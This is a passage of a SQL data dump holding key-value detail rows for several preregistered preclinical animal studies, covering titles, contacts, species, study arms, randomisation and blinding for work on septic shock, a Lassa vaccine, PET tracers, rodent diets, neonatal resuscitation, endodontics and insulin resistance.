	(6530,151,'randomisation','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6531,151,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6532,151,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6533,151,'has_embargo','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6534,156,'title','\"Blood transfusion in endotoxaemic shock: A pre-clinical trial\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6535,156,'short_title','\"RESUS-Transfusion\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6536,156,'contact_name','\"Nchafatso Obonyo\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6537,156,'contact_role','\"Research Investigator\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6538,156,'contact_email','\"NObonyo@kemri-wellcome.org\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6539,156,'study_centre','[{\"name\":\"Critical Care Research Group\",\"city\":\"Brisbane\",\"country\":\"AU\"}]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6540,156,'financial_support','[\"grants\"]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6541,156,'start_date','\"2014-08-31\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6542,156,'end_date','\"2019-12-31\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6543,156,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6544,156,'research_field','\"Critical Care\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6545,156,'hypothesis','\"Sepsis\\/Septic shock\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6546,156,'intervention_type','\"other\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6547,156,'other_intervention_type','\"Blood transfusion\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6548,156,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6549,156,'primary_readout_parameter','\"Efficacy: Physiological (Haemodynamic resuscitation of septic shock)\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6550,156,'secondary_readout_parameter','\"Haematological (coagulation) and immunological (cytokines)\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6551,156,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6552,156,'species','\"sheep\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6553,156,'strain','\"Merino\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6554,156,'sex','\"female\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6555,156,'experimental_design','\"Hyperdynamic endotoxaemic shock model (http:\\/\\/journals.lww.com\\/shockjournal\\/Abstract\\/publishahead\\/An_Ovine_Model_of_Hyperdynamic_Endotoxemia_and.98082.aspx)\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6556,156,'sample_size_calculation','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6557,156,'sum_of_animals','\"26\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6558,156,'study_arms','[{\"type\":\"intervention\",\"number\":\"16\",\"intervention\":\"Endotoxaemic shock + blood transfusion\"},{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"Healthy controls + blood transfusion\"}]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6559,156,'randomisation','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6560,156,'randomisation_method_used','\"coin-toss\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6561,156,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6562,156,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6563,156,'yes_blinded_intervention_how_details','\"Blood transfusion administered is either fresh (&lt;5 days) or stored (&gt;30 days)\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6564,156,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6565,156,'placebo_controlled','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6566,156,'application_number','\"QUT OREI Certificate number: 1400000032\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6567,156,'link_to_data','\"1.http:\\/\\/journals.lww.com\\/shockjournal\\/Abstract\\/publishahead\\/An_Ovine_Model_of_Hyperdynamic_Endotoxemia_and.98082.aspx\\n\\n2. http:\\/\\/www.atsjournals.org\\/doi\\/10.1164\\/rccm.201801-0064OC\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6568,156,'has_embargo','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6569,157,'title','\"to be submitted\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6570,158,'title','\"Toxicity and biodistribution study of a Lassa vaccine candidate in NHP\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6571,158,'contact_name','\"Sabrina Schrauf\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6572,158,'contact_role','\"Monitoring of study\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6573,158,'contact_email','\"sabrina.schrauf@themisbio.com\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6574,158,'study_centre','[{\"name\":\"Charles River\",\"city\":\"Mattawan\",\"country\":\"US\"}]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6575,158,'financial_support','[\"grants\"]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6576,158,'start_date','\"2018-07-09\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6577,158,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6578,158,'end_date','\"2019-04-24\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6579,158,'research_field','\"Prevention of Infectious diseases\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6580,158,'hypothesis','\"To confirm the safety of the vaccine candidate after repeated i.m. administration in NHP\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6581,158,'intervention_type','\"other\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6582,158,'other_intervention_type','\"Repeated (3-times), intramuscular administration of the maximum intended human dose to mimic clinical administration\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6583,158,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6584,158,'primary_readout_parameter','\"Safety: Toxicity will be measuered at the end of the treatment period and after a 3-week recovery period. Necropsy will be performed as well as histopathology analysis.\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6585,158,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6586,158,'species','\"monkey\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6587,158,'sex','\"both\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6588,158,'experimental_design','\"Cynomolgus macaques, 2-3 year old \"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6589,158,'sample_size_calculation','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6590,158,'sum_of_animals','\"20\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6591,158,'study_arms','[{\"type\":\"sham\",\"number\":\"10\",\"intervention\":\"Control for adverse effects\"},{\"type\":\"other\",\"number\":\"10\",\"intervention\":\"Test Item - analyse the adverse effects of the maximum anticipated human dose\"}]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6592,158,'randomisation','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6593,158,'randomisation_method_used','\"other\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6594,158,'other_randomisation_method','\"Randomization:\\tBy sex, into treatment groups using a standard, by weight, randomization procedure.\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6595,158,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6596,158,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6597,158,'placebo_controlled','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6598,158,'has_embargo','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6599,159,'title','\"Explorative study cytotoxic T cell imaging using 89Zr labeled CD8 antibodies in tumor bearing mice\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6600,159,'short_title','\"Cytotoxic T cell imaging\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6601,159,'contact_name','\"Rene Raave\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6602,159,'contact_role','\"Responsible and executive researcher\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6603,159,'contact_email','\"rene.raave@radboudumc.nl\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6604,159,'study_centre','[{\"name\":\"Radboudumc\",\"city\":\"Nijmegen\",\"country\":\"NL\"}]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6605,159,'financial_support','[\"grants\"]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6606,159,'start_date','\"2019-04-01\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6607,159,'end_date','\"2019-05-31\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6608,159,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6609,159,'research_field','\"Oncology\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6610,159,'hypothesis','\"The 89Zr labeled tracer binds cytotoxic T cells present in the tumor.\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6611,159,'intervention_type','\"other\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6612,159,'other_intervention_type','\"Radiolabeled tracer\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6613,159,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6614,159,'primary_readout_parameter','\"Feasibility: Specific 89Zr uptake in the tumor measured by gamma-detection in tumor tissue and visualized uptake by PET imaging compared to uptake by excess unlabeled tracer injection.\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6615,159,'secondary_readout_parameter','\"Blood kinetics, liver, spleen and duodenum uptake.\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6616,159,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6617,159,'species','\"mouse\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6618,159,'strain','\"Balb\\/c\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6619,159,'sex','\"female\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6620,159,'experimental_design','\"Mouse with mouse colon carcinoma tumor\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6621,159,'sample_size_calculation','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6622,159,'sum_of_animals','\"Three animals in each arm. Six animals in total study.\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6623,159,'study_arms','[{\"type\":\"intervention\",\"number\":\"3\",\"intervention\":\"89Zr tracer injection\"},{\"type\":\"control\",\"number\":\"3\",\"intervention\":\"89Zr tracer+excess non-labeled tracer injection\"}]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6624,159,'randomisation','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6625,159,'randomisation_method_used','\"random_number_table\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6626,159,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6627,159,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6628,159,'yes_blinded_intervention_how_details','\"Only technicians performing the experimental procedures are blinded.\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6629,159,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6630,159,'placebo_controlled','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6631,159,'original_animal_ethics_committee_application','\"https:\\/\\/www.radboudumc.nl\\/getmedia\\/d1e111a0-3e1a-4931-8952-93230a999ade\\/AVD1030020173885.aspx?ext=.pdf\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6632,159,'application_number','\"2017-0028\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6633,159,'has_embargo','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6634,160,'title','\"Effects of standard rodent diet type (grain based vs semi-synthetic) during various life stages (adult and breeding and lactation on e.g. breeding succes, (offspring) metabolic health outcomes and sensitivity to diet induced obesity in C57B6\\/J mice \\nand validating the effects of the different background diets in standard model for nutritional programming with standard control diet intervention.  \\n\"','2022-03-31 13:23:46','2022-03-31 13:23:55');

INSERT INTO `details` (`id`, `protocol_id`, `key`, `value`, `created_at`, `updated_at`)
VALUES
	(6635,160,'short_title','\"standard rodent diet types evaluation\"','2022-03-31 13:23:46','2022-03-31 13:23:55'),
	(6636,160,'contact_name','\"Lidewij Schipper\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6637,160,'contact_role','\"executive researcher\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6638,160,'contact_email','\"lidewij.schipper@danone.com\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6639,160,'study_centre','[{\"name\":\"Nutricia Research\",\"city\":\"Utrecht\",\"country\":\"NL\"}]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6640,160,'financial_support','[\"industry\"]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6641,160,'start_date','\"2019-07-03\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6642,160,'end_date','\"2020-03-31\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6643,160,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:46','2022-03-31 13:23:55'),
	(6644,160,'research_field','\"rodent nutrition\\nbreeding success\\nnutritional programming\\n(offspring) metabolic health, obesity and liver pathology\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6645,160,'hypothesis','\"1. Exposure to purified diet reduces breeding success\\n2. Exposure to purified diet increases sensitivity to metabolic disease (e.g. diet induced obesity) in (adult) offspring that are also exposued to a different nutritional intervention\\n3. Exposure to purified diet increases prevalence of liver pathology in (adult) offspring\\n4. Exposure to purified diet increases variation (in parameters above) within groups\\n5. exposure to purfified diet during early life stage results in worse outcomes then at later age \\n6 (longer\\/earlier) exposure to purified diet detrioates the outcomes above\\n\"','2022-03-31 13:23:46','2022-03-31 13:23:55'),
	(6646,160,'intervention_type','\"other\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6647,160,'other_intervention_type','\"effects of exposure (duration) to type of standard rodent diet (grain based diet and purified diet) during adulthood OR breeding phase on (offspring) various health outcomes and after exposure to ( other ) nutritional interventions\"','2022-03-31 13:23:46','2022-03-31 13:23:47'),
	(6648,160,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6649,160,'primary_readout_parameter','\"Efficacy: breeding succes based on # pregnancies, litter size and weight\\n\\nliver pathology based on morphological screening\\n\\nmetabolic health status based on repeated body composition scan (echo MRI)\\n\\nobesity based on fat mass accumulation in response to adult high fat diet exposure\\n\"','2022-03-31 13:23:46','2022-03-31 13:23:47'),
	(6650,160,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6651,160,'species','\"mouse\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6652,160,'strain','\"C57BL\\/6\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6653,160,'sex','\"both\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6654,160,'experimental_design','\"-adult mice, 8 week of age upon arrival (M+F) and their offspring (M) bred in house \\n-exposure to either of two standard rodent diets (purified vs grain based diet)\\n-monitor growth and bodycomposition development over 12 (adult breeder animals) \\n-monitor growth and bodycomposition development for 18 weeks while exposed to a standard (other) diet intervention early in life and adult exposure to high fat diet (nutritional programming model) (offspring)\\n\"','2022-03-31 13:23:46','2022-03-31 13:23:47'),
	(6655,160,'sample_size_calculation','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6656,160,'study_arms','[{\"type\":\"intervention\",\"number\":\"A\",\"intervention\":\"purified diet during breeding and lactation, offspring exposed to purified diet throughout experiment\"},{\"type\":\"intervention\",\"number\":\"B\",\"intervention\":\"purified diet during breeding and lactation, offspring exposed to control nutrition intervention between P16 and P42, followed by low fat purified diet \"},{\"type\":\"intervention\",\"number\":\"C\",\"intervention\":\"purified diet during breeding and lactation, offspring exposed to control nutrition intervention between P16 and P42, followed by HIGH FAT purified diet \"},{\"type\":\"intervention\",\"number\":\"D\",\"intervention\":\"grain based diet during breeding and lactation, offspring exposed to grain based diet throughout experiment\"},{\"type\":\"intervention\",\"number\":\"E\",\"intervention\":\"grain based diet during breeding and lactation, offspring exposed to control nutrition intervention between P16 and P42, followed by low fat purified diet \"},{\"type\":\"intervention\",\"number\":\"F\",\"intervention\":\"grain based diet during breeding and lactation, offspring exposed to control nutrition intervention between P16 and P42, followed by HIGH FAT purified diet \"},{\"type\":\"intervention\",\"number\":\"G\",\"intervention\":\"grain based diet during breeding, purified diet during lactation, offspring exposed to control nutrition intervention between P16 and P42, followed by low fat purified diet \"},{\"type\":\"intervention\",\"number\":\"H\",\"intervention\":\"grain based diet during breeding, purified diet during lactation, offspring exposed to control nutrition intervention between P16 and P42, followed by HIGH FAT purified diet \"},{\"type\":\"intervention\",\"number\":\"I\",\"intervention\":\"Adult males and females exposed to purified diet\"},{\"type\":\"intervention\",\"number\":\"J\",\"intervention\":\"Adult males and females exposed to grain based diet\"}]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6657,160,'randomisation','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6658,160,'yes_blinded_intervention_partially_details','\"Yes partially\"','2022-03-31 13:23:46','2022-03-31 13:23:47'),
	(6659,160,'placebo_controlled','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6660,160,'has_embargo','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6661,161,'title','\"Heart Rate Assessment using Doppler Ultrasound in a Porcine Model of Neonatal Resuscitation\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6662,161,'short_title','\"Doppler Ultrasound for Heart Rate Assessment\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6663,161,'contact_name','\"Georg Schmolzer\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6664,161,'contact_role','\"Principal Investigator\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6665,161,'contact_email','\"schmolze@ualberta.ca\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6666,161,'study_centre','[{\"name\":\"University of Alberta\",\"city\":\"Edmonton\",\"country\":\"CA\"}]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6667,161,'financial_support','[\"grants\"]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6668,161,'start_date','\"2018-09-03\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6669,161,'end_date','\"2019-05-31\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6670,161,'study_status','\"completed_and_published_full-text\"','2022-03-31 13:23:46','2022-03-31 13:23:50'),
	(6671,161,'research_field','\"Neonatology, Pediatrics\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6672,161,'hypothesis','\"We hypothesize that using Doppler ultrasound to assess heart rate will result in similar accuracy compared to heart rate assessment using carotid blood flow.\"','2022-03-31 13:23:46','2022-03-31 13:23:50'),
	(6673,161,'intervention_type','\"compound\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6674,161,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6675,161,'primary_readout_parameter','\"Efficacy: Primary outcome measure is accuracy of assessed heart rate compared to heart rate obtained from carotid blood flow\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6676,161,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6677,161,'species','\"pig\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6678,161,'sex','\"both\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6679,161,'experimental_design','\"Porcine model of neonatal asphyxia with 0-3 day old piglets; Asphyxia was induced by clamping the endotracheal tube until cardiac arrest.\"','2022-03-31 13:23:46','2022-03-31 13:23:50'),
	(6680,161,'sample_size_calculation','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6681,161,'study_arms','[{\"type\":\"intervention\",\"number\":\"19\",\"intervention\":\"Heart rate assessment using Doppler ultrasound, electrocardiography, and carotid blood flow\"}]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6682,161,'sum_of_animals','\"19\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6683,161,'randomisation','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6684,161,'why_no_randomisation','\"Only one group\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6685,161,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6686,161,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6687,161,'placebo_controlled','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6688,161,'has_embargo','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6689,162,'title','\"Regenerative Endodontic Therapy in Immature Teeth with Necrotic Pulp and Apical Periodontitis using two Disinfection Protocols and Biostimulation\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6690,162,'short_title','\"Regenerative Endodontics\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6691,162,'contact_name','\"Eman Maged Fouad\"','2022-03-31 13:23:46','2022-03-31 13:23:49'),
	(6692,162,'contact_role','\"executive researcher\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6693,162,'contact_email','\"eman-8012@hotmail.com\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6694,162,'study_centre','[{\"name\":\"Governmental Veterinary Hospital\",\"city\":\"Abbasia, Cairo\",\"country\":\"EG\"}]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6695,162,'financial_support','[\"other\"]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6696,162,'other_financial_support','\"self funded\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6697,162,'start_date','\"2019-10-05\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6698,162,'end_date','\"2020-10-05\"','2022-03-31 13:23:46','2022-03-31 13:23:49'),
	(6699,162,'study_status','\"active\"','2022-03-31 13:23:46','2022-03-31 13:23:49'),
	(6700,162,'research_field','\"Dentistry, Endodontics\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6701,162,'hypothesis','\"Regenerative endodontics can be achieved in single visit using alternative disinfection protocol , further results enhanced by biostimulation concept\"','2022-03-31 13:23:46','2022-03-31 13:23:49'),
	(6702,162,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6703,162,'primary_readout_parameter','\"Efficacy: pulp regeneration\\/revitalization and continuing of root development in terms of both length and width.\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6704,162,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6705,162,'species','\"dog\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6706,162,'sex','\"both\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6707,162,'sample_size_calculation','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6708,162,'sum_of_animals','\"6 dogs ( up to 24 root canals each)\"','2022-03-31 13:23:46','2022-03-31 13:23:49'),
	(6709,162,'study_arms','[{\"type\":\"intervention\",\"number\":\"2\",\"intervention\":\"disinfection Protocols\"},{\"type\":\"intervention\",\"number\":\"2\",\"intervention\":\"biostimulation\"},{\"type\":\"control\",\"number\":\"2\",\"intervention\":\"positive and negative control\"}]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6710,162,'randomisation','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6711,162,'randomisation_method_used','\"random_number_table\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6712,162,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:46','2022-03-31 13:23:49'),
	(6713,162,'placebo_controlled','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6714,163,'title','\"Mechanisms behind impaired brain glucose metabolism in insulin resistance: effects of exercise training.\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6715,163,'short_title','\"CROSSRAT\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6716,163,'contact_name','\"Sanna Honkala\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6717,163,'contact_role','\"Postdoctoral researcher\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6718,163,'contact_email','\"sanhon@utu.fi\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6719,163,'study_centre','[{\"name\":\"Univeristy of Turku, Turku PET Centre\",\"city\":\"Turku\",\"country\":\"FI\"},{\"name\":\"University of Eastern Finland\",\"city\":\"Kuopio\",\"country\":\"FI\"}]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6720,163,'financial_support','[\"investigator_driven\",\"grants\"]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6721,163,'start_date','\"2019-08-25\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6722,163,'end_date','\"2023-12-31\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6723,163,'study_status','\"active\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6724,163,'research_field','\"metabolism, exercise medicine\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6725,163,'hypothesis','\"Key working hypotheses\\n- Brain insulin-stimulated glucose uptake and inflammation are increased, and brain morphology is altered in insulin resistant rats compared to healthy rats. Brain inflammation interrelate with alterations in brain metabolism, function and morphology. \\n- Brain insulin-stimulated glucose uptake and inflammation can be decreased by exercise training.\\n- Gut inflammation is increased in insulin resistant rats compared to healthy rats at baseline and associate with brain and peripheral inflammation. These parameters can be improved by training.\\n\"','2022-03-31 13:23:46','2022-03-31 13:23:49'),
	(6726,163,'intervention_type','\"other\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6727,163,'other_intervention_type','\"HF diet and Exercise training intervention\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6728,163,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6729,163,'primary_readout_parameter','\"Efficacy: Efficacy based on metabolism and inflammation in multiple organs after HF diet and exercise training.\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6730,163,'secondary_readout_parameter','\"Interaction between gut, liver and brain in different stages (baseline, after HF diet, after exercise training)\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6731,163,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6732,163,'no_exclusive_animal_use_details','\"Animals are used for this study only.\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6733,163,'species','\"rat\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6734,163,'strain','\"Sprague-dawley\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6735,163,'sex','\"male\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6736,163,'experimental_design','\"Healthy rats and HF diet rats\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6737,163,'sample_size_calculation','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:49'),
	(6738,163,'sample_size_calculation_details','\"Drop out rate 20% in exercise training intervention (n=10)\\n\"','2022-03-31 13:23:46','2022-03-31 13:23:49'),
	(6739,163,'sum_of_animals','\"192\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6740,163,'study_arms','[{\"type\":\"other\",\"number\":\"32\",\"intervention\":\"Baseline\"},{\"type\":\"intervention\",\"number\":\"32\",\"intervention\":\"HF diet\"},{\"type\":\"intervention\",\"number\":\"32\",\"intervention\":\"HF diet and exercise intervention\"},{\"type\":\"control\",\"number\":\"64\",\"intervention\":\"Age-controls\"},{\"type\":\"control\",\"number\":\"32\",\"intervention\":\"Diet controls\"}]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6741,163,'randomisation','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
